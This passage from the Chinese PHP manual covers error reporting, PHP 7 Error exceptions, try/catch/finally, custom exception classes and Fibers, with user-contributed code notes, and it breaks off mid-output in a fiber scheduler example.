当未设置错误处理函数时，PHP 会根据配置处理出现的错误。 php.ini 中 error_reporting 的配置或者是运行时调用 error_reporting() 控制了哪些错误需要报告，哪些错误需要自动忽略。 由于有些错误会在运行用户脚本前就可能出现，所以强烈推荐用配置指令来设置。

在开发环境里为了发现并修复 PHP 产生的问题， 应该总是把 error_reporting 设置为 E_ALL。 在生产环境里，用户可能为了降低信息的详细程度， 想要将它设置为类似 E_ALL & ~E_NOTICE & ~E_DEPRECATED， 但很多情况下 E_ALL 也同样适用，这样可以更早地警告潜在问题。

PHP 对这些错误的处理方式，取决于两个更深的 php.ini 指令。 display_errors 控制了是否要将错误作为脚本输出的一部分显示。 在生产环境里应该禁用，因为可能包含类似数据库密码这样的敏感信息， 而在开发环境中应该启用，能确保立即报告问题。

PHP 不仅能显示错误，还可以开启 log_errors 指令来记录错误日志。它能根据 error_log 的设置，记录任意错误到文件或者 syslog。 特别适用于生产环境，用户可以记录发生的错误，并根据这些错误生成报告。

用户的错误处理器

如果 PHP 默认错误处理器还不能满足要求，用户可以通过 set_error_handler() 设置自定义错误处理器，可处理很多类型的错误。 虽然有些类型的错误不能通过这种方式处理，但能处理的类型可以用脚本合适的方式处理： 例如为用户显示自定义错误页面，同时以一种比日志更直接的方式上报错误，例如发送邮件。

User Contributed Notes

There are no user contributed notes for this page.


PHP 7 错误处理

PHP 7 改变了大多数错误的报告方式。不同于传统（PHP 5）的错误报告机制，现在大多数错误被作为 Error 异常抛出。

这种 Error 异常可以像 Exception 异常一样被第一个匹配的 try / catch 块所捕获。如果没有匹配的 catch 块，则调用异常处理函数（事先通过 set_exception_handler() 注册）进行处理。 如果尚未注册异常处理函数，则按照传统方式处理：被报告为一个致命错误（Fatal Error）。

Error 类并非继承自 Exception 类，所以不能用 catch (Exception $e) { ... } 来捕获 Error。你可以用 catch (Error $e) { ... }，或者通过注册异常处理函数（ set_exception_handler()）来捕获 Error。

Error 层次结构

  • Throwable
    • Error
      • ArithmeticError
        • DivisionByZeroError
      • AssertionError
      • CompileError
        • ParseError
      • TypeError
        • ArgumentCountError
      • ValueError
      • UnhandledMatchError
      • FiberError
    • Exception
      • ...

User Contributed Notes

diogoca at gmail dot com 24-Nov-2019 02:38
<?php

set_error_handler(function(int $number, string $message) {
   echo "Handler captured error $number: '$message'" . PHP_EOL  ;
});

try {
    echo $x; # notice, handled on callable
    pg_exec(null, null); # warning, handled on callable
    fho(); # fatal error, stop running and catched
} catch (Throwable $e) {
    echo "Captured Throwable: " . $e->getMessage() . PHP_EOL;
}

?>

set_error_handler will also works without try and catch
ryan dot jentzsch@{gmail} dot com 08-Aug-2017 09:41
An excellent blog post on the difference between exceptions, throwables and how PHP 7 handles these can be found here: https://trowski.com/2015/06/24/throwable-exceptions-and-errors-in-php7/
lubaev dot ka at gmail dot com 01-Dec-2016 05:16
php 7.1

try {
   // Code that may throw an Exception or ArithmeticError.
} catch (ArithmeticError | Exception $e) {
   // pass
}
demis dot palma at tiscali dot it 26-Jul-2016 11:04
Throwable does not work on PHP 5.x.

To catch both exceptions and errors in PHP 5.x and 7, add a catch block for Exception AFTER catching Throwable first.
Once PHP 5.x support is no longer needed, the block catching Exception can be removed.

try
{
   // Code that may throw an Exception or Error.
}
catch (Throwable $t)
{
   // Executed only in PHP 7, will not match in PHP 5
}
catch (Exception $e)
{
   // Executed only in PHP 5, will not be reached in PHP 7
}
hungry dot rahly at gmail dot com 08-Jan-2016 12:26
You can catch both exceptions and errors by catching(Throwable)


异常

Table of Contents

  • 扩展（extend）异常处理类

PHP 有一个和其他语言相似的异常模型。在 PHP 里可以 throw 并捕获（catch）异常。为了捕获潜在的异常，代码会包含在 try 块里。每个 try 都必须至少有一个相应的 catch 或 finally 块。

如果抛出异常的函数作用域内没有 catch 块，异常会沿调用栈"向上冒泡"，直到找到匹配的 catch 块。沿途会执行所有遇到的 finally 块。在没有设置全局异常处理程序时，如果调用栈向上都没有遇到匹配的 catch，程序会抛出 fatal 错误并终止。

抛出的对象必须是 instanceof Throwable。尝试抛出其他对象会导致 PHP Fatal 错误。

PHP 8.0.0 起，throw 关键词现在开始是表达式，可用于任何表达式上下文。在此之前，它是语句，必须独占一行。

catch

catch 定义了处理抛出异常的方式。 catch 块定义了它能处理的异常/错误的类型，并可以选择将异常赋值到变量中。 （在 PHP 8.0.0 之前的版本中必须要赋值到变量） 如果遇到抛出对象的类型匹配了首个 catch 块的异常或错误，将会处理该对象。

可用多个 catch 捕获不同的异常类。 正常情况下（try 代码块里没有抛出异常）会在最后一个定义的 catch 后面继续执行。 catch 代码块里也可以 throw 或者重新抛出异常。 不抛出的话，会在触发的 catch 后面继续执行。

当 PHP 抛出一个异常时，将不会执行后续的代码语句，并会尝试查找首个匹配的 catch 代码块。 如果没有用 set_exception_handler() 设置异常处理函数， PHP 会在异常未被捕获时产生 Fatal 级错误，提示 "Uncaught Exception ..." 消息。

从 PHP 7.1.0 起 catch 可以用竖线符（|） 指定多个异常。 如果在不同的类层次结构中，不同异常的异常需要用同样的方式处理，就特别适用这种方式。

从 PHP 8.0.0 起，捕获的异常不再强制要求指定变量名。 catch 代码块会在未指定时继续执行，只是无法访问到抛出的对象。

finally

finally 代码块可以放在 catch 之后，或者直接代替它。 无论是否抛出了异常，在 try 和 catch 之后、在执行后续代码之前， 放在 finally 里的代码总是会执行。

值得注意的是 finally 和 return 语句之间存在相互影响。 如果在 try 或 catch 里遇到 return，仍然会执行 finally 里的代码。 而且，遇到 return 语句时，会先执行 finally 再返回结果。 此外，如果 finally 里也包含了 return 语句，将返回 finally 里的值。

全局异常处理程序

当允许异常冒泡到全局作用域时，它可以被全局异常处理器捕获到。 set_exception_handler() 可以设置一个函数，在没有调用其他块时代替 catch。 在本质上，实现的效果等同于整个程序被 try-catch 包裹起来， 而该函数就是 catch。

注释

Note:

PHP 内部函数主要使用 错误报告， 只有一些现代 面向对象 的扩展使用异常。 不过，错误很容易用 ErrorException 转化成异常。 然而，这个技术方案仅适用非 Fatal 级的错误。

Example #1 将错误报告转成异常

<?php
function exceptions_error_handler($severity, $message, $filename, $lineno) {
throw new ErrorException($message, 0, $severity, $filename, $lineno);
}

set_error_handler('exceptions_error_handler');
?>

Tip

PHP 标准库（SPL） 提供了大量的 标准内置异常。

示例

Example #2 抛出一个异常

<?php
function inverse($x) {
if (!$x) {
throw new Exception('Division by zero.');
}
return 1/$x;
}

try {
echo inverse(5) . "\n";
echo inverse(0) . "\n";
} catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), "\n";
}

// 继续执行
echo "Hello World\n";
?>

以上示例会输出：

0.2
Caught exception: Division by zero.
Hello World

Example #3 带 finally 块的异常处理

<?php
function inverse($x) {
if (!$x) {
throw new Exception('Division by zero.');
}
return 1/$x;
}

try {
echo inverse(5) . "\n";
} catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), "\n";
} finally {
echo "First finally.\n";
}

try {
echo inverse(0) . "\n";
} catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), "\n";
} finally {
echo "Second finally.\n";
}

// 继续执行
echo "Hello World\n";
?>

以上示例会输出：

0.2
First finally.
Caught exception: Division by zero.
Second finally.
Hello World

Example #4 finally 和 return 相互之间的影响

<?php

function test() {
try {
throw new Exception('foo');
} catch (Exception $e) {
return 'catch';
} finally {
return 'finally';
}
}

echo test();
?>

以上示例会输出：

finally

Example #5 异常嵌套

<?php

class MyException extends Exception { }

class Test {
public function testing() {
try {
try {
throw new MyException('foo!');
} catch (MyException $e) {
// 重新 throw
throw $e;
}
} catch (Exception $e) {
var_dump($e->getMessage());
}
}
}

$foo = new Test;
$foo->testing();

?>

以上示例会输出：

string(4) "foo!"

Example #6 多个异常的捕获处理

<?php

class MyException extends Exception { }

class MyOtherException extends Exception { }

class Test {
public function testing() {
try {
throw new MyException();
} catch (MyException | MyOtherException $e) {
var_dump(get_class($e));
}
}
}

$foo = new Test;
$foo->testing();

?>

以上示例会输出：

string(11) "MyException"

Example #7 忽略捕获的变量

仅仅在 PHP 8.0.0 及以上版本有效

<?php

function test() {
throw new SpecificException('Oopsie');
}

try {
test();
} catch (SpecificException) {
print "A SpecificException was thrown, but we don't care about the details.";
}
?>

Example #8 以表达式的形式抛出

仅仅在 PHP 8.0.0 及以上版本有效

<?php

class SpecificException extends Exception {}

function test() {
do_something_risky() or throw new Exception('It did not work');
}

try {
test();
} catch (Exception $e) {
print $e->getMessage();
}
?>

User Contributed Notes

tianyiw at vip dot qq dot com 08-Sep-2023 03:11
Easy to understand `finally`.
<?php
try {
    try {
        echo "before\n";
        1 / 0;
        echo "after\n";
    } finally {
        echo "finally\n";
    }
} catch (\Throwable) {
    echo "exception\n";
}
?>
# Print:
before
finally
exception
lscorionjs at gmail dot com 16-Jan-2023 04:03
<?php

try {
  $str = 'hi';
  throw new Exception();
} catch (Exception) {
  var_dump($str);
} finally {
  var_dump($str);
}

?>

Output:
string(2) "hi"
string(2) "hi"
ilia-yats at ukr dot net 23-Dec-2022 12:24
Note some undocumented details about exceptions thrown from 'finally' blocks.

When exception is thrown from 'finally' block, it overrides the original not-caught (or re-thrown) exception. So the behavior is similar to 'return': value returned from 'finally' overrides the one returned earlier. And the original exception is automatically appended to the exceptions chain, i.e. becomes 'previous' for the new one. Example:
<?php
try {
    try {
        throw new Exception('thrown from try');
    } finally {
        throw new Exception('thrown from finally');
    }
} catch(Exception $e) {
    echo $e->getMessage();
    echo PHP_EOL;
    echo $e->getPrevious()->getMessage();
}

// will output:
// thrown from finally
// thrown from try
?>

Example with re-throwing:
<?php
try {
    try {
        throw new Exception('thrown from try');
    } catch (Exception $e) {
        throw new Exception('thrown from catch');
    } finally {
        throw new Exception('thrown from finally');
    }
} catch(Exception $e) {
    echo $e->getMessage();
    echo PHP_EOL;
    echo $e->getPrevious()->getMessage();
}

// will output:
// thrown from finally
// thrown from catch
?>

The same happens even if explicitly pass null as previous exception:
<?php
try {
    try {
        throw new Exception('thrown from try');
    } finally {
        throw new Exception('thrown from finally', null, null);
    }
} catch(Exception $e) {
    echo $e->getMessage();
    echo PHP_EOL;
    echo $e->getPrevious()->getMessage();
}

// will output:
// thrown from finally
// thrown from try
?>

Also it is possible to pass previous exception explicitly, the 'original' one will be still appended to the chain, e.g.:
<?php
try {
    try {
        throw new Exception('thrown from try');
    } finally {
        throw new Exception(
            'thrown from finally',
            null,
            new Exception('Explicitly set previous!')
        );
    }
} catch(Exception $e) {
    echo $e->getMessage();
    echo PHP_EOL;
    echo $e->getPrevious()->getMessage();
    echo PHP_EOL;
    echo $e->getPrevious()->getPrevious()->getMessage();
}

// will output:
// thrown from finally
// Explicitly set previous!
// thrown from try
?>

This seems to be true for versions 5.6-8.2.
mlaopane at gmail dot com 24-Feb-2018 09:49
<?php

/**
 * You can catch exceptions thrown in a deep level function
 */

function employee()
{
    throw new \Exception("I am just an employee !");
}

function manager()
{
    employee();
}

function boss()
{
    try {
        manager();
    } catch (\Exception $e) {
        echo $e->getMessage();
    }
}

boss(); // output: "I am just an employee !"
daviddlowe dot flimm at gmail dot com 22-Sep-2017 01:13
Starting in PHP 7, the classes Exception and Error both implement the Throwable interface. This means, if you want to catch both Error instances and Exception instances, you should catch Throwable objects, like this:

<?php

try {
    throw new Error( "foobar" );
    // or:
    // throw new Exception( "foobar" );
}
catch (Throwable $e) {
    var_export( $e );
}

?>
christof+php[AT]insypro.com 15-Jun-2017 10:12
In case your E_WARNING type of errors aren't catchable with try/catch you can change them to another type of error like this:

<?php
    set_error_handler(function($errno, $errstr, $errfile, $errline){
            if($errno === E_WARNING){
                // make it more serious than a warning so it can be caught
                trigger_error($errstr, E_ERROR);
                return true;
            } else {
                // fallback to default php error handler
                return false;
            }
    });

    try {
            // code that might result in a E_WARNING
    } catch(Exception $e){
            // code to handle the E_WARNING (it's actually changed to E_ERROR at this point)
    } finally {
            restore_error_handler();
    }
?>
Simo 04-Apr-2015 02:47
#3 is not a good example. inverse("0a") would not be caught since (bool) "0a" returns true, yet 1/"0a" casts the string to integer zero and attempts to perform the calculation.
Tom Polomsk 04-Dec-2014 01:45
Contrary to the documentation it is possible in PHP 5.5 and higher use only try-finally blocks without any catch block.
telefoontoestel at nospam dot org 18-Jun-2014 12:34
When using finally keep in mind that when a exit/die statement is used in the catch block it will NOT go through the finally block.

<?php
try {
    echo "try block<br />";
    throw new Exception("test");
} catch (Exception $ex) {
    echo "catch block<br />";
} finally {
    echo "finally block<br />";
}

// try block
// catch block
// finally block
?>

<?php
try {
    echo "try block<br />";
    throw new Exception("test");
} catch (Exception $ex) {
    echo "catch block<br />";
    exit(1);
} finally {
    echo "finally block<br />";
}

// try block
// catch block
?>
Edu 24-Jun-2013 06:13
The "finally" block can change the exception that has been throw by the catch block.

<?php
try{
        try {
                throw new \Exception("Hello");
        } catch(\Exception $e) {
                echo $e->getMessage()." catch in\n";
                throw $e;
        } finally {
                echo $e->getMessage()." finally \n";
                throw new \Exception("Bye");
        }
} catch (\Exception $e) {
        echo $e->getMessage()." catch out\n";
}
?>

The output is:

Hello catch in
Hello finally
Bye catch out
Sawsan 28-Nov-2011 09:36
the following is an example of a re-thrown exception and the using of getPrevious function:

<?php

$name = "Name";

//check if the name contains only letters, and does not contain the word name

try
   {
   try
     {
      if (preg_match('/[^a-z]/i', $name))
       {
           throw new Exception("$name contains character other than a-z A-Z");
       }
       if(strpos(strtolower($name), 'name') !== FALSE)
       {
          throw new Exception("$name contains the word name");
       }
       echo "The Name is valid";
     }
   catch(Exception $e)
     {
     throw new Exception("insert name again",0,$e);
     }
   }

catch (Exception $e)
   {
   if ($e->getPrevious())
   {
    echo "The Previous Exception is: ".$e->getPrevious()->getMessage()."<br/>";
   }
   echo "The Exception is: ".$e->getMessage()."<br/>";
   }

 ?>
Johan 05-May-2011 01:18
Custom error handling on entire pages can avoid half rendered pages for the users:

<?php
ob_start();
try {
    /*contains all page logic
    and throws error if needed*/
    ...
} catch (Exception $e) {
  ob_end_clean();
  displayErrorPage($e->getMessage());
}
?>
ask at nilpo dot com 27-May-2009 12:19
If you intend on creating a lot of custom exceptions, you may find this code useful.  I've created an interface and an abstract exception class that ensures that all parts of the built-in Exception class are preserved in child classes.  It also properly pushes all information back to the parent constructor ensuring that nothing is lost.  This allows you to quickly create new exceptions on the fly.  It also overrides the default __toString method with a more thorough one.

<?php
interface IException
{
    /* Protected methods inherited from Exception class */
    public function getMessage();                 // Exception message
    public function getCode();                    // User-defined Exception code
    public function getFile();                    // Source filename
    public function getLine();                    // Source line
    public function getTrace();                   // An array of the backtrace()
    public function getTraceAsString();           // Formated string of trace

    /* Overrideable methods inherited from Exception class */
    public function __toString();                 // formated string for display
    public function __construct($message = null, $code = 0);
}

abstract class CustomException extends Exception implements IException
{
    protected $message = 'Unknown exception';     // Exception message
    private   $string;                            // Unknown
    protected $code    = 0;                       // User-defined exception code
    protected $file;                              // Source filename of exception
    protected $line;                              // Source line of exception
    private   $trace;                             // Unknown

    public function __construct($message = null, $code = 0)
    {
        if (!$message) {
            throw new $this('Unknown '. get_class($this));
        }
        parent::__construct($message, $code);
    }

    public function __toString()
    {
        return get_class($this) . " '{$this->message}' in {$this->file}({$this->line})\n"
                                . "{$this->getTraceAsString()}";
    }
}
?>

Now you can create new exceptions in one line:

<?php
class TestException extends CustomException {}
?>

Here's a test that shows that all information is properly preserved throughout the backtrace.

<?php
function exceptionTest()
{
    try {
        throw new TestException();
    }
    catch (TestException $e) {
        echo "Caught TestException ('{$e->getMessage()}')\n{$e}\n";
    }
    catch (Exception $e) {
        echo "Caught Exception ('{$e->getMessage()}')\n{$e}\n";
    }
}

echo '<pre>' . exceptionTest() . '</pre>';
?>

Here's a sample output:

Caught TestException ('Unknown TestException')
TestException 'Unknown TestException' in C:\xampp\htdocs\CustomException\CustomException.php(31)
#0 C:\xampp\htdocs\CustomException\ExceptionTest.php(19): CustomException->__construct()
#1 C:\xampp\htdocs\CustomException\ExceptionTest.php(43): exceptionTest()
#2 {main}
Shot (Piotr Szotkowski) 21-Oct-2008 12:13
'Normal execution (when no exception is thrown within the try block, *or when a catch matching the thrown exception's class is not present*) will continue after that last catch block defined in sequence.'

'If an exception is not caught, a PHP Fatal Error will be issued with an "Uncaught Exception ..." message, unless a handler has been defined with set_exception_handler().'

These two sentences seem a bit contradicting about what happens 'when a catch matching the thrown exception's class is not present' (and the second sentence is actually correct).


扩展（extend）异常处理类

用户可以用自定义的异常处理类来扩展 PHP 内置的异常处理类。以下的代码说明了在内置的异常处理类中，哪些属性和方法在子类中是可访问和可继承的。

Example #1 内置的异常处理类

<?php
class Exception implements Throwable
{
protected $message = 'Unknown exception'; // 异常信息
private $string; // __toString 的缓存
protected $code = 0; // 用户自定义异常错误码
protected $file; // 发生异常的源文件名
protected $line; // 发生异常的源代码行号
private $trace; // backtrace
private $previous; // 如果是嵌套异常，则是之前的 exception

public function __construct($message = '', $code = 0, Throwable $previous = null);

final private function __clone(); // 禁止克隆异常。

final public function getMessage(); // 异常信息
final public function getCode(); // 异常错误码
final public function getFile(); // 发生异常的源文件名
final public function getLine(); // 发生异常的源代码行号
final public function getTrace(); // backtrace() 数组
final public function getPrevious(); // 之前的 exception
final public function getTraceAsString(); // 已格成化成字符串的 getTrace() 信息

// Overrideable
public function __toString(); // 可输出的格式化后的字符串
}
?>

如果使用自定义的类来扩展内置异常处理类，并且要重新定义构造函数的话，建议同时调用 parent::__construct() 来确保所有的变量已赋值。当对象要输出字符串的时候，可以重载 __toString() 并自定义输出的样式。

Note:

不能 复制 Exception 对象。尝试对 clone Exception 会导致 fatal E_ERROR 错误。

Example #2 扩展 PHP 内置的异常处理类

<?php
/**
* 自定义一个异常处理类
*/
class MyException extends Exception
{
// 重定义构造器使 message 变为必须被指定的属性
public function __construct($message, $code = 0, Throwable $previous = null) {
// 这里写用户的代码

// 确保所有变量都被正确赋值
parent::__construct($message, $code, $previous);
}

// 自定义字符串输出的格式
public function __toString() {
return __CLASS__ . ": [{$this->code}]: {$this->message}\n";
}

public function customFunction() {
echo "A custom function for this type of exception\n";
}
}

/**
* 创建一个类，测试该 exception 类
*/
class TestException
{
public $var;

const THROW_NONE = 0;
const THROW_CUSTOM = 1;
const THROW_DEFAULT = 2;

function __construct($avalue = self::THROW_NONE) {

switch ($avalue) {
case self::THROW_CUSTOM:
// 抛出自定义异常
throw new MyException('1 is an invalid parameter', 5);
break;

case self::THROW_DEFAULT:
// 抛出默认的异常
throw new Exception('2 is not allowed as a parameter', 6);
break;

default:
// 没有异常的情况下，创建一个对象
$this->var = $avalue;
break;
}
}
}

// 例子 1
try {
$o = new TestException(TestException::THROW_CUSTOM);
} catch (MyException $e) { // 捕获异常
echo "Caught my exception\n", $e;
$e->customFunction();
} catch (Exception $e) { // 被忽略
echo "Caught Default Exception\n", $e;
}

// 继续执行后续代码
var_dump($o); // Null
echo "\n\n";

// 例子 2
try {
$o = new TestException(TestException::THROW_DEFAULT);
} catch (MyException $e) { // 不能匹配异常的种类，被忽略
echo "Caught my exception\n", $e;
$e->customFunction();
} catch (Exception $e) { // 捕获异常
echo "Caught Default Exception\n", $e;
}

// 执行后续代码
var_dump($o); // Null
echo "\n\n";

// 例子 3
try {
$o = new TestException(TestException::THROW_CUSTOM);
} catch (Exception $e) { // 捕获异常
echo "Default Exception caught\n", $e;
}

// 执行后续代码
var_dump($o); // Null
echo "\n\n";

// 例子 4
try {
$o = new TestException();
} catch (Exception $e) { // 没有异常，被忽略
echo "Default Exception caught\n", $e;
}

// 执行后续代码
var_dump($o); // TestException
echo "\n\n";
?>

User Contributed Notes

Hayley Watson 25-Feb-2019 04:13
Check the other SPL Exception classes and extend one of those if your intended exception is a subclass of one of those. This allows more finesse when catching.
florenxe 15-Sep-2015 11:25
I just wanted to add that "extends" is same concept of "Inheritance" or "Prototyping in Javascript". So when you extend a class, you are simply inheriting the class's methods and properties. So you can create custom classes from existing classes like extending the array class.
shaman_master at list dot ru 14-Dec-2014 12:57
Use this example for not numeric codes:
<code>
<?php
class MyException extends Exception
{
    /**
     * Creates a new exception.
     *
     * @param string       $message   Error message
     * @param mixed       $code         The exception code
     * @param Exception $previous  Previous exception
     * @return void
     */
    public function __construct($message = '', $code = 0, Exception $previous = null)
    {
        // Pass the message and integer code to the parent
        parent::__construct((string)$message, (int)$code, $previous);

        // @link http://bugs.php.net/39615 Save the unmodified code
        $this->code = $code;
    }
}
</code>
michaelrfairhurst at gmail dot com 15-Oct-2012 04:55
Custom exception classes can allow you to write tests that prove your exceptions
are meaningful. Usually testing exceptions, you either assert the message equals
something in which case you can't change the message format without refactoring,
or not make any assertions at all in which case you can get misleading messages
later down the line. Especially if your $e->getMessage is something complicated
like a var_dump'ed context array.

The solution is to abstract the error information from the Exception class into
properties that can be tested everywhere except the one test for your formatting.

<?php

class TestableException extends Exception {

        private $property;

        function __construct($property) {

                $this->property = $property;
                parent::__construct($this->format($property));

        }

        function format($property) {
                return "I have formatted: " . $property . "!!";
        }

        function getProperty() {
                return $this->property;
        }

}

function testSomethingThrowsTestableException() {
        try {
                throw new TestableException('Property');
        } Catch (TestableException $e) {
                $this->assertEquals('Property', $e->getProperty());
        }
}

function testExceptionFormattingOnlyOnce() {
        $e = new TestableException;
        $this->assertEquals('I have formatted: properly for the only required test!!',
                $e->format('properly for the only required test')
        );
}

?>
Dor 15-Oct-2011 02:30
It's important to note that subclasses of the Exception class will be caught by the default Exception handler

<?php

    /**
     * NewException
     * Extends the Exception class so that the $message parameter is now mendatory.
     *
     */
    class NewException extends Exception {
        //$message is now not optional, just for the extension.
        public function __construct($message, $code = 0, Exception $previous = null) {
            parent::__construct($message, $code, $previous);
        }
    }

    /**
     * TestException
     * Tests and throws Exceptions.
     */
    class TestException {
        const NONE = 0;
        const NORMAL = 1;
        const CUSTOM = 2;
        public function __construct($type = self::NONE) {
            switch ($type) {
                case 1:
                    throw new Exception('Normal Exception');
                    break;
                case 2:
                    throw new NewException('Custom Exception');
                    break;
                default:
                    return 0; //No exception is thrown.
            }
        }
    }

    try {
        $t = new TestException(TestException::CUSTOM);
    }
    catch (Exception $e) {
        print_r($e); //Exception Caught
    }

?>

Note that if an Exception is caught once, it won't be caught again (even for a more specific handler).
iamhiddensomewhere at gmail dot com 31-Dec-2009 03:17
As previously noted exception linking was recently added (and what a god-send it is, it certainly makes layer abstraction (and, by association, exception tracking) easier).

Since <5.3 was lacking this useful feature I took some initiative and creating a custom exception class that all of my exceptions inherit from:

<?php

class SystemException extends Exception
{
    private $previous;

    public function __construct($message, $code = 0, Exception $previous = null)
    {
        parent::__construct($message, $code);

        if (!is_null($previous))
        {
            $this -> previous = $previous;
        }
    }

    public function getPrevious()
    {
        return $this -> previous;
    }
}

?>

Hope you find it useful.
sapphirepaw.org 24-Nov-2009 07:37
Support for exception linking was added in PHP 5.3.0. The getPrevious() method and the $previous argument to the constructor are not available on any built-in exceptions in older versions of PHP.
paragdiwan at gmail dot com 17-Jan-2009 01:32
I have written similar simple custom exception class. Helpful for newbie.
<?php
    /*
        This is written for overriding the exceptions.
        custom exception class
    */
    error_reporting(E_ALL-E_NOTICE);
    class myCustomException extends Exception
    {

        public function __construct($message, $code=0)
        {
            parent::__construct($message,$code);
        }

        public function __toString()
        {
            return "<b style='color:red'>".$this->message."</b>";
        }

    }

    class testException
    {

        public function __construct($x)
        {

            $this->x=$x;

        }

        function see()
        {

            if($this->x==9 )
            {
                throw new myCustomException("i didnt like it");
            }
        }
    }

    $obj = new testException(9);
    try{

        $obj->see();
    }
    catch(myCustomException $e)
    {
        echo $e;
    }
?>


纤程

纤程概述

(PHP 8 >= 8.1.0)

纤程（Fiber）表示一组有完整栈、可中断的功能。 纤程可以在调用堆栈中的任何位置被挂起，在纤程内暂停执行，直到稍后恢复。

纤程可以暂停整个执行堆栈，所以该函数的直接调用者不需要改变调用这个函数的方式。

你可以在调用堆栈的任意地方使用 Fiber::suspend() 中断执行（也就是说，Fiber::suspend() 的调用位置可以在一个深度嵌套的函数中，甚至可以不存在）。

与无栈的 Generator 不同, 每一个 Fiber 拥有自己的调用栈，并允许在一个深度前度的函数调用中将它们暂停。 声明了中断（interruption）点的函数（即调用 Fiber::suspend()） 不需要改变自己的返回类型，不像使用 yield 一样需要返回一个 Generator 实例。

纤程可以在任意函数调用中被暂停，包括那些在 PHP VM 中被调用的函数。 例如被用于 array_map() 的函数或者提供 Iterator 对象以被 foreach 调用的方法。

纤程一旦被暂停，可以使用 Fiber::resume() 传递任意值、或者使用 Fiber::throw() 向纤程抛出一个异常以恢复运行。这个值或者异常将会在 Fiber::suspend() 中被返回（抛出）。

Note: 由于当前限制，不能在对象的析构函数中打开或关闭纤程。

Example #1 基础用法

<?php
$fiber = new Fiber(function (): void {
$value = Fiber::suspend('fiber');
echo "Value used to resume fiber: ", $value, PHP_EOL;
});

$value = $fiber->start();

echo "Value from fiber suspending: ", $value, PHP_EOL;

$fiber->resume('test');
?>

以上示例会输出：

Value from fiber suspending: fiber
Value used to resume fiber: test

User Contributed Notes

nesk at xakep dot ru 24-Oct-2022 01:21
I think that in some cases it makes sense to convert a Fiber to a Generator (Coroutine) for convenience. In such cases, this code will be useful:

<?php
function fiber_to_coroutine(\Fiber $fiber): \Generator
{
    $index = -1; // Note: Pre-increment is faster than post-increment.
    $value = null;

    // Allow an already running fiber.
    if (!$fiber->isStarted()) {
        $value = yield ++$index => $fiber->start();
    }

    // A Fiber without suspends should return the result immediately.
    if (!$fiber->isTerminated()) {
        while (true) {
            $value = $fiber->resume($value);

            // The last call to "resume()" moves the execution of the
            // Fiber to the "return" stmt.
            //
            // So the "yield" is not needed. Skip this step and return
            // the result.
            if ($fiber->isTerminated()) {
                break;
            }

            $value = yield ++$index => $value;
        }
    }

    return $fiber->getReturn();
}
?>
dvohra09 at yahoo dot com 07-Oct-2022 04:51
Fiber::isRunning does not return a value
Sample
-------

<?php

$fiber = new Fiber(function (): void {
 $value = Fiber::suspend('suspend');

echo "Fiber is resumed with value: ", $value, "\n";

});

echo "Fiber not yet started.", "\n";

$value = $fiber->start();

echo "Fiber is started: ", $fiber->isStarted(), "\n";
echo "Fiber is suspended: ", $fiber->isSuspended(), "\n";

echo "Fiber is running: ", $fiber->isRunning(), "\n";

 echo "Fiber is suspended with value: ", $value, "\n";
 $fiber->resume('resume');

echo "Fiber is running: ", $fiber->isRunning(), "\n";

?>
Output
---

Fiber not yet started. Fiber is started: 1 Fiber is suspended: 1 Fiber is running: Fiber is suspended with value: suspend Fiber is resumed with value: resume Fiber is running:
newuser 01-Aug-2022 03:04
Example of the same functionality showing what is the difference between Fiber and Generator
<?php
$gener = (function () use (&$gener): Generator {
    $userfunc = function () use (&$gener) : Generator {
        register_shutdown_function(function () use (&$gener) {
            $gener->send('test');
        });
        return yield 'test';
    };
    $parm = yield from $userfunc();
    echo "Value used to resume fiber: ", $parm, PHP_EOL;
})();

$res = $gener->current();
echo "Value from fiber suspending: ", $res, PHP_EOL;
?>
<?php
$fiber = new Fiber(function () use (&$fiber) : void {
    $userfunc = function () use (&$fiber) : string {
        register_shutdown_function(function () use (&$fiber) {
            $fiber->resume('test');
        });
        return Fiber::suspend('fiber');
    };
    $parm = $userfunc();
    echo "Value used to resume fiber: ", $parm, PHP_EOL;
});

$res = $fiber->start();
echo "Value from fiber suspending: ", $res, PHP_EOL;
?>
Ali Madadi 14-Jul-2022 10:17
Here is a simple scheduler and thread pool that implements multithreading using fibers and tick functions in PHP 8.1 and returns the return value of each function in the pool in an array at the end.

Note that due to some bugs, you need to register a new tick function for each "thread". Remember to unregister all of them at the end.

The link bellow is the discussion on a bug that is going on right now (At the time of writing this). Note that based on the discussion, the ability to call Fiber::suspend() inside tick function may become forbidden in PHP 8.2+. But if the bug gets fixed, you can move register_tick_function() line to the top of the class, and this simple multithreading class in pure PHP code will work like a charm.
https://github.com/php/php-src/issues/8960

<?php

declare(ticks=1);

class Thread {
  protected static $names = [];
  protected static $fibers = [];
  protected static $params = [];

  public static function register(string|int $name, callable $callback, array $params)
  {
    self::$names[]  = $name;
    self::$fibers[] = new Fiber($callback);
    self::$params[] = $params;
  }

  public static function run() {
    $output = [];

    while (self::$fibers) {
      foreach (self::$fibers as $i => $fiber) {
          try {
              if (!$fiber->isStarted()) {
                  // Register a new tick function for scheduling this fiber
                  register_tick_function('Thread::scheduler');
                  $fiber->start(...self::$params[$i]);
              } elseif ($fiber->isTerminated()) {
                  $output[self::$names[$i]] = $fiber->getReturn();
                  unset(self::$fibers[$i]);
              } elseif ($fiber->isSuspended()) {
                $fiber->resume();
              }
          } catch (Throwable $e) {
              $output[self::$names[$i]] = $e;
          }
      }
    }

    return $output;
  }

  public static function scheduler () {
    if(Fiber::getCurrent() === null) {
      return;
    }

    // running Fiber::suspend() in this if condition will prevent an infinite loop!
    if(count(self::$fibers) > 1)
    {
      Fiber::suspend();
    }
  }
}

?>

And here is an example code on how to use above Thread class:

<?php

// defining a non-blocking thread, so multiple calls will run in concurrent mode using above Thread class.
function thread (string $print, int $loop)
{
  $i = $loop;
  while ($i--){
    echo $print;
  }

  return "Thread '{$print}' finished after printing '{$print}' for {$loop} times!";
}

// registering 6 Threads (A, B, C, D, E, and F)
foreach(range('A', 'F') as $c) {
  Thread::register($c, 'thread', [$c, rand(5, 20)]);
}

// run threads and wait until execution finishes
$outputs = Thread::run();

// print outputs
echo PHP_EOL, '-------------- RETURN VALUES --------------', PHP_EOL;
print_r($outputs);

?>

The output will be something like this (but probably different):

ABCDEFABCDEFABCDEFABCDEFABCDEFABCEFABFABFABEBEFBEFEFEFAABEABEBEFBEFFAAAAAA
-------------- RETURN VALUES --------------
Array
(
    [D] => Thread 'D' finished after printing 'D' for 5 times!
    [C] => Thread 'C' finished after printing 'C' for 6 times!
